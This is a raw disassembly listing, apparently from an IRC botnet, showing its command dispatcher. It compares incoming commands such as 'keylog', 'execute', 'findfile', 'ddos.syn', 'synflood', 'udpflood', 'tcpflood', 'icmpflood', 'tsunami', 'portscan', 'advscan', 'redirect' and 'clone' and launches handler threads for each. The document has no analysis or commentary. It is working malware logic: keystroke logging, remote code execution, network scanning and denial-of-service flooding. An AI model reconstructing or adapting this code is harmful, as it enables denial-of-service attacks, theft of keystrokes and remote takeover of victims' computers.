		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B720
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D124 ; " "
